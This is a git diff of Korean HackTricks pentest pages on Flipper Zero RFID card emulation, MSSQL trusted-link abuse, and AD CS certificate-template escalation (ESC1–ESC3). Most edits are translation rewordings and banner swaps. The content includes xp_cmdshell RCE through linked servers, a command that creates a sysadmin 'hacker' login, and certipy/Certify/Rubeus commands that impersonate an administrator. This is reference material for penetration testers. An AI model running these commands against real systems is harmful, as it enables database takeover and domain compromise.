@ -144,7 +144,9 @@ Firmware emulation: FIRMADYNE (https://github.com/firmadyne/firmadyne/) is a pla
|
|||
Other ways to support HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 저희 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 **가입**하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
||||
* **해킹 기법을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 제출하세요.**
|
||||
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 받아보세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,7 +6,7 @@
|
|||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
- **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
- **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
- 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
|
@ -14,7 +14,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
@ -40,7 +40,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
### 수동 추가
|
||||
|
||||
Flipper Zero에서 **수동으로 데이터를 지정**하여 **가짜 카드를 생성**한 다음 모방할 수 있습니다.
|
||||
Flipper Zero에서 **수동으로 데이터를 지정**하는 가짜 카드를 만들고 그것을 모방할 수 있습니다.
|
||||
|
||||
#### 카드의 ID
|
||||
|
||||
|
@ -61,13 +61,13 @@ HID 카드의 경우 카드에 인쇄된 3바이트 중 2바이트만 찾을 수
|
|||
|
||||
### 모방/쓰기
|
||||
|
||||
카드를 **복사**하거나 **수동으로 ID를 입력한 후** Flipper Zero에서 모방하거나 **실제 카드에 쓸 수** 있습니다.
|
||||
카드를 **복사**하거나 **수동으로 ID를 입력한 후** Flipper Zero에서 모방하거나 실제 카드에 **쓸 수** 있습니다.
|
||||
|
||||
## 참고 자료
|
||||
|
||||
* [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/)
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
@ -77,7 +77,7 @@ HID 카드의 경우 카드에 인쇄된 3바이트 중 2바이트만 찾을 수
|
|||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
- **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
- **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
- 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
|
|
|
@ -2,17 +2,17 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로부터 AWS 해킹을 배우세요!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅이 되는 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>!</strong></a><strong>!</strong></summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사가 HackTricks에 광고되길 원하시나요**? 또는 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **해킹 트릭을 공유하고 싶으시다면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **로 PR을 제출**하세요.
|
||||
* **사이버 보안 회사**에서 일하시나요? **HackTricks에 귀사를 광고하고 싶으신가요**? 혹은 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인해보세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요, 저희의 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 얻으세요
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) Discord 그룹**에 **가입**하거나 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **해킹 요령을 공유하고 PR을 제출하여** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **에 참여**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
@ -83,13 +83,11 @@ Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResu
|
|||
[pentesting-mssql-microsoft-sql-server](../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## MSSQL 신뢰할 수 있는 링크
|
||||
## MSSQL 신뢰하는 링크
|
||||
|
||||
만약 MSSQL 인스턴스가 다른 MSSQL 인스턴스에 의해 신뢰된다면(데이터베이스 링크), 사용자가 신뢰받는 데이터베이스에 권한이 있다면, **신뢰 관계를 사용하여 다른 인스턴스에서도 쿼리를 실행할 수 있게 될 것**입니다. 이러한 신뢰는 연결될 수 있으며 어느 시점에서 사용자는 명령을 실행할 수 있는 잘못 구성된 데이터베이스를 찾을 수도 있습니다.
|
||||
만약 다른 MSSQL 인스턴스에 의해 신뢰된 MSSQL 인스턴스가 있다면, 사용자가 신뢰된 데이터베이스에 권한이 있다면, **다른 인스턴스에서도 쿼리를 실행할 수 있는 신뢰 관계를 사용할 수 있을 것**입니다. 이러한 신뢰는 연결될 수 있으며 어느 시점에서 사용자는 명령을 실행할 수 있는 잘못 구성된 데이터베이스를 찾을 수도 있습니다.
|
||||
|
||||
**데이터베이스 간의 링크는 숲 간 신뢰를 통해 작동합니다.**
|
||||
|
||||
### Powershell 남용
|
||||
```powershell
|
||||
#Look for MSSQL links of an accessible instance
|
||||
Get-SQLServerLink -Instance dcorp-mssql -Verbose #Check for DatabaseLinkd > 0
|
||||
|
@ -131,9 +129,9 @@ msf> use exploit/windows/mssql/mssql_linkcrawler
|
|||
```
|
||||
### 수동 - Openquery()
|
||||
|
||||
**Linux**에서는 **sqsh** 및 **mssqlclient.py**를 사용하여 MSSQL 콘솔 셸을 얻을 수 있습니다.
|
||||
**Linux**에서는 **sqsh** 및 **mssqlclient.py**를 사용하여 MSSQL 콘솔 셸을 획득할 수 있습니다.
|
||||
|
||||
**Windows**에서는 [**HeidiSQL**](https://www.heidisql.com)과 같은 **MSSQL 클라이언트**를 사용하여 링크를 찾고 명령을 수동으로 실행할 수 있습니다.
|
||||
**Windows**에서는 [**HeidiSQL**](https://www.heidisql.com)과 같은 **MSSQL 클라이언트**를 사용하여 링크를 찾고 명령을 수동으로 실행할 수도 있습니다.
|
||||
|
||||
_**Windows 인증을 사용하여 로그인:**_
|
||||
|
||||
|
@ -146,17 +144,17 @@ EXEC sp_linkedservers;
|
|||
|
||||
#### 신뢰할 수 있는 링크에서 쿼리 실행
|
||||
|
||||
링크를 통해 쿼리를 실행하십시오 (예: 새로운 접근 가능한 인스턴스에서 더 많은 링크 찾기):
|
||||
링크를 통해 쿼리를 실행합니다 (예: 새로운 접근 가능한 인스턴스에서 더 많은 링크 찾기):
|
||||
```sql
|
||||
select * from openquery("dcorp-sql1", 'select * from master..sysservers')
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
이중 따옴표와 홑따옴표가 사용된 위치를 확인하세요. 그 방식으로 사용하는 것이 중요합니다.
|
||||
이중 따옴표와 홑따옴표가 사용된 위치를 확인하십시오. 그 방법으로 사용하는 것이 중요합니다.
|
||||
{% endhint %}
|
||||
|
||||
![](<../../.gitbook/assets/image (640).png>)
|
||||
|
||||
신뢰할 수 있는 이 링크 체인을 수동으로 영원히 계속할 수 있습니다.
|
||||
이 신뢰할 수 있는 링크 체인을 수동으로 영원히 계속할 수 있습니다.
|
||||
```sql
|
||||
# First level RCE
|
||||
SELECT * FROM OPENQUERY("<computer>", 'select @@servername; exec xp_cmdshell ''powershell -w hidden -enc blah''')
|
||||
|
@ -164,9 +162,9 @@ SELECT * FROM OPENQUERY("<computer>", 'select @@servername; exec xp_cmdshell ''p
|
|||
# Second level RCE
|
||||
SELECT * FROM OPENQUERY("<computer1>", 'select * from openquery("<computer2>", ''select @@servername; exec xp_cmdshell ''''powershell -enc blah'''''')')
|
||||
```
|
||||
### 수동 - EXECUTE
|
||||
### 매뉴얼 - EXECUTE
|
||||
|
||||
`openquery()`에서 `exec xp_cmdshell`와 같은 작업을 수행할 수 없는 경우 `EXECUTE` 방법을 사용해 보십시오.
|
||||
`openquery()`에서 `exec xp_cmdshell`과 같은 작업을 수행할 수 없는 경우 `EXECUTE` 방법을 사용해 보십시오.
|
||||
```bash
|
||||
#Create user and give admin privileges
|
||||
EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
|
||||
|
@ -174,25 +172,25 @@ EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT
|
|||
```
|
||||
## 로컬 권한 상슨
|
||||
|
||||
**MSSQL 로컬 사용자**는 일반적으로 **`SeImpersonatePrivilege`**라는 특별한 권한 유형을 갖습니다. 이를 통해 계정은 "인증 후 클라이언트를 흉내 내는" 것이 가능합니다.
|
||||
**MSSQL 로컬 사용자**는 보통 **`SeImpersonatePrivilege`**라고 불리는 특별한 권한을 갖습니다. 이는 계정이 "인증 후 클라이언트를 흉내 내는" 것을 허용합니다.
|
||||
|
||||
많은 저자들이 고안한 전략은 시스템 서비스를 로그 또는 중간자 서비스에 인증하도록 강제하는 것입니다. 공격자가 생성한 이 로그 서비스는 시스템 서비스가 인증을 시도하는 동안 시스템 서비스를 흉내 낼 수 있습니다.
|
||||
많은 저자들이 고안한 전략은 시스템 서비스를 강제로 인증하도록 유도하여 공격자가 생성한 로그나 중간자 서비스에 인증하도록 하는 것입니다. 이후 이 로그 서비스는 시스템 서비스를 흉내 내는 것이 가능해집니다.
|
||||
|
||||
[SweetPotato](https://github.com/CCob/SweetPotato)에는 Beacon의 `execute-assembly` 명령을 통해 실행할 수 있는 이러한 다양한 기술이 모아져 있습니다.
|
||||
[SweetPotato](https://github.com/CCob/SweetPotato)에는 Beacon의 `execute-assembly` 명령을 통해 실행할 수 있는 이러한 다양한 기술들이 모아져 있습니다.
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로부터 영웅이 되는 AWS 해킹을 배우세요!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로부터 AWS 해킹을 전문가로 배우세요</summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하시나요? **HackTricks에 귀사를 광고하고 싶으신가요**? 또는 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **사이버 보안 회사**에서 일하시나요? **HackTricks에 귀사를 광고하고 싶으신가요**? 혹은 **PEASS의 최신 버전을 확인하거나 HackTricks를 PDF로 다운로드 받고 싶으신가요**? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 받으세요
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) **Discord 그룹**에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **해킹 요령을 공유하려면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **로 PR을 제출하세요**.
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) **Discord 그룹**에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요**.
|
||||
* **해킹 요령을 공유하고 싶으시다면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **로 PR을 제출하세요**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,23 +2,23 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로에서 영웅까지 AWS 해킹 배우기</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **해킹 요령을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소로 PR을 제출하세요.
|
||||
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)에 가입하거나 [텔레그램 그룹](https://t.me/peass)에 가입하거나** **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **해킹 요령을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 제출하세요.**
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
**이는 다음 게시물의 승격 기술 섹션 요약입니다:**
|
||||
**이는 게시물의 승격 기술 섹션 요약입니다:**
|
||||
|
||||
* [https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified\_Pre-Owned.pdf](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified\_Pre-Owned.pdf)
|
||||
* [https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
|
||||
|
@ -30,22 +30,26 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
### 잘못 구성된 인증서 템플릿 - ESC1 설명
|
||||
|
||||
* **Enterprise CA가 낮은 권한을 가진 사용자에게 등록 권한을 부여합니다.**
|
||||
* **Enterprise CA에 의해 낮은 권한을 가진 사용자에게 등록 권한이 부여됩니다.**
|
||||
* **관리자 승인이 필요하지 않습니다.**
|
||||
* **인증된 인원의 서명이 필요하지 않습니다.**
|
||||
* **인증서 템플릿의 보안 기술서는 너무 허용적이어서 낮은 권한을 가진 사용자가 등록 권한을 획들할 수 있습니다.**
|
||||
* **인증서 템플릿의 보안 기술서는 너무 허용적이어서 낮은 권한을 가진 사용자가 등록 권한을 얻을 수 있습니다.**
|
||||
* **인증서 템플릿은 인증을 용이하게 하는 EKU(Extended Key Usage)를 정의하도록 구성되어 있습니다:**
|
||||
* 클라이언트 인증 (OID 1.3.6.1.5.5.7.3.2), PKINIT 클라이언트 인증 (1.3.6.1.5.2.3.4), 스마트 카드 로그온 (OID 1.3.6.1.4.1.311.20.2.2), 모든 용도 (OID 2.5.29.37.0) 또는 EKU 없음 (SubCA)과 같은 EKU 식별자가 포함됩니다.
|
||||
* **요청자가 인증서 서명 요청(CSR)에서 subjectAltName을 포함할 수 있는 기능이 템플릿에서 허용됩니다:**
|
||||
* 주체 대체 이름(SAN)이 인증서에 포함되어 있으면 Active Directory(AD)는 주체 대체 이름(SAN)을 확인하기 위해 인증서에서 우선시합니다. 이는 CSR에서 SAN을 지정함으로써 인증서를 요청하여 모든 사용자(예: 도메인 관리자)를 표현할 수 있음을 의미합니다. 요청자가 SAN을 지정할 수 있는지 여부는 인증서 템플릿의 AD 개체에서 `mspki-certificate-name-flag` 속성을 통해 나타납니다. 이 속성은 비트마스크이며 `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` 플래그의 존재는 요청자가 SAN을 지정할 수 있도록 허용합니다.
|
||||
* 클라이언트 인증 (OID 1.3.6.1.5.5.7.3.2), PKINIT 클라이언트 인증 (1.3.6.1.5.2.3.4), 스마트 카드 로그온 (OID 1.3.6.1.4.1.311.20.2.2), 임의의 용도 (OID 2.5.29.37.0) 또는 EKU가 없음 (SubCA)과 같은 확장 키 사용 (EKU) 식별자가 포함됩니다.
|
||||
* **요청자가 인증서 서명 요청(CSR)에 subjectAltName을 포함할 수 있는 능력이 템플릿에서 허용됩니다:**
|
||||
* 주체 대체 이름(SAN)이 인증서에 포함되어 있으면 Active Directory(AD)는 주체 대체 이름(SAN)을 확인하기 위해 인증서에서 우선시합니다. 이는 CSR에서 SAN을 지정함으로써 인증서를 요청하여 임의의 사용자(예: 도메인 관리자)로 위장할 수 있음을 의미합니다. 요청자가 SAN을 지정할 수 있는지 여부는 인증서 템플릿의 AD 개체에서 `mspki-certificate-name-flag` 속성을 통해 표시됩니다. 이 속성은 비트마스크이며 `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` 플래그의 존재는 요청자가 SAN을 지정할 수 있도록 허용합니다.
|
||||
|
||||
{% hint style="danger" %}
|
||||
설정된 구성은 낮은 권한을 가진 사용자가 선택한 SAN을 사용하여 인증서를 요청할 수 있도록 하므로 Kerberos 또는 SChannel을 통해 모든 도메인 주체로 인증할 수 있습니다.
|
||||
설정된 구성은 낮은 권한을 가진 사용자가 선택한 SAN을 사용하여 인증서를 요청할 수 있도록 하므로 Kerberos 또는 SChannel을 통해 임의의 도메인 주체로 인증할 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
이 기능은 때로는 제품이나 배포 서비스에 의해 HTTPS 또는 호스트 인증서를 동적으로 생성하거나 이해 부족으로 인해 활성화된 경우가 있습니다.
|
||||
이 기능은 때때로 제품이나 배포 서비스에 의해 HTTPS 또는 호스트 인증서를 동적으로 생성하거나 이해 부족으로 인해 활성화된 경우가 있습니다.
|
||||
|
||||
이 옵션을 사용하여 인증서를 생성하면 기존 인증서 템플릿(예: `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`가 활성화된 `WebServer` 템플릿)을 복제한 다음 인증 OID를 포함하도록 수정하는 경우 경고가 트리거됩니다.
|
||||
이 옵션을 사용하여 인증서를 생성하면 기존 인증서 템플릿(예: `WebServer` 템플릿)이 복제되고 인증 OID를 포함하도록 수정될 때와는 달리 경고가 트리거됨을 주의해야 합니다.
|
||||
|
||||
### 남용
|
||||
|
||||
**취약한 인증서 템플릿을 찾으려면** 다음을 실행할 수 있습니다:
|
||||
```bash
|
||||
Certify.exe find /vulnerable
|
||||
certipy find -username john@corp.local -password Passw0rd -dc-ip 172.16.126.128
|
||||
|
@ -55,7 +59,7 @@ certipy find -username john@corp.local -password Passw0rd -dc-ip 172.16.126.128
|
|||
Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:localadmin
|
||||
certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'ESC1' -upn 'administrator@corp.local'
|
||||
```
|
||||
그럼 생성된 **인증서를 `.pfx` 형식으로 변환**하고 다시 **Rubeus 또는 certipy를 사용하여 인증**할 수 있습니다:
|
||||
그럼 생성된 **인증서를 `.pfx` 형식**으로 변환하고 다시 **Rubeus 또는 certipy를 사용하여 인증**할 수 있습니다:
|
||||
```bash
|
||||
Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt
|
||||
certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100
|
||||
|
@ -70,19 +74,19 @@ AD Forest의 구성 스키마 내에서 인증서 템플릿을 열거할 수 있
|
|||
|
||||
### 설명
|
||||
|
||||
두 번째 악용 시나리오는 첫 번째와 다소 다른 변형입니다:
|
||||
두 번째 악용 시나리오는 첫 번째와 다른 변형입니다:
|
||||
|
||||
1. 기업 CA에 의해 낮은 권한을 가진 사용자에게 등록 권한이 부여됩니다.
|
||||
1. 기업 CA에 의해 저급 권한을 가진 사용자에게 등록 권한이 부여됩니다.
|
||||
2. 관리자 승인 요구 사항이 비활성화됩니다.
|
||||
3. 승인된 서명 필요 사항이 생략됩니다.
|
||||
4. 인증서 템플릿에 대한 지나치게 허용적인 보안 설명자가 낮은 권한을 가진 사용자에게 인증서 등록 권한을 부여합니다.
|
||||
5. **인증서 템플릿은 Any Purpose EKU 또는 EKU가 없이 정의됩니다.**
|
||||
5. **인증서 템플릿은 Any Purpose EKU 또는 EKU가 없도록 정의됩니다.**
|
||||
|
||||
**Any Purpose EKU**는 인증서를 **클라이언트 인증, 서버 인증, 코드 서명 등을 포함한 모든 목적**으로 획득할 수 있도록 합니다. **ESC3에 사용된 기술**을 사용하여 이 시나리오를 악용할 수 있습니다.
|
||||
**Any Purpose EKU**는 인증서를 **클라이언트 인증, 서버 인증, 코드 서명 등을 포함한 모든 목적**으로 획득할 수 있게 합니다. **ESC3에 사용된 기술과 동일한 기술**을 사용하여 이 시나리오를 악용할 수 있습니다.
|
||||
|
||||
**EKU가 없는** 인증서는 하위 CA 인증서로 작동하며 **모든 목적**으로 악용될 수 있으며 **새로운 인증서에 서명**할 수도 있습니다. 따라서 공격자는 하위 CA 인증서를 사용하여 새로운 인증서에 임의의 EKU나 필드를 지정할 수 있습니다.
|
||||
**EKU가 없는** 인증서는 하위 CA 인증서로 작동하며 **모든 목적**으로 악용될 수 있으며 **새 인증서에 서명하는 데 사용**될 수 있습니다. 따라서 공격자는 하위 CA 인증서를 활용하여 새 인증서에 임의의 EKU나 필드를 지정할 수 있습니다.
|
||||
|
||||
그러나 **도메인 인증**을 위해 생성된 새로운 인증서는 하위 CA가 **기본 설정인 `NTAuthCertificates`** 개체에 의해 신뢰되지 않는 경우 작동하지 않습니다. 그러나 공격자는 여전히 **임의의 EKU** 및 임의의 인증서 값으로 **새로운 인증서를 생성**할 수 있습니다. 이러한 인증서는 (예: 코드 서명, 서버 인증 등) 다양한 목적으로 **악용**될 수 있으며 SAML, AD FS 또는 IPSec와 같은 네트워크의 다른 응용 프로그램에 중대한 영향을 미칠 수 있습니다.
|
||||
그러나 **도메인 인증**을 위해 생성된 새 인증서는 **`NTAuthCertificates`** 개체에 의해 신뢰되지 않는 경우 기본 설정입니다. 그럼에도 불구하고 공격자는 여전히 **임의의 EKU와 임의의 인증서 값**으로 새 인증서를 생성할 수 있습니다. 이러한 인증서는 잠재적으로 **코드 서명, 서버 인증 등과 같은 다양한 목적**으로 **악용**될 수 있으며 SAML, AD FS 또는 IPSec와 같은 네트워크의 다른 응용 프로그램에 중대한 영향을 미칠 수 있습니다.
|
||||
|
||||
AD Forest의 구성 스키마 내에서 이 시나리오와 일치하는 템플릿을 나열하려면 다음 LDAP 쿼리를 실행할 수 있습니다:
|
||||
```
|
||||
|
@ -94,9 +98,9 @@ AD Forest의 구성 스키마 내에서 이 시나리오와 일치하는 템플
|
|||
|
||||
이 시나리오는 첫 번째와 두 번째와 유사하지만 **다른 EKU**(인증서 요청 에이전트)를 **남용**하고 **2개의 다른 템플릿**을 사용합니다(따라서 2개의 요구 사항 세트가 있음).
|
||||
|
||||
**인증서 요청 에이전트 EKU**(OID 1.3.6.1.4.1.311.20.2.1)는 Microsoft 문서에서 **Enrollment Agent**로 알려져 있으며 주체가 **다른 사용자를 대신하여 인증서를 등록**할 수 있도록 합니다.
|
||||
**인증서 요청 에이전트 EKU**(OID 1.3.6.1.4.1.311.20.2.1)인 Microsoft 문서에서 **Enrollment Agent**로 알려진 것은 주체가 **다른 사용자를 대신하여 인증서를 등록**할 수 있도록 합니다.
|
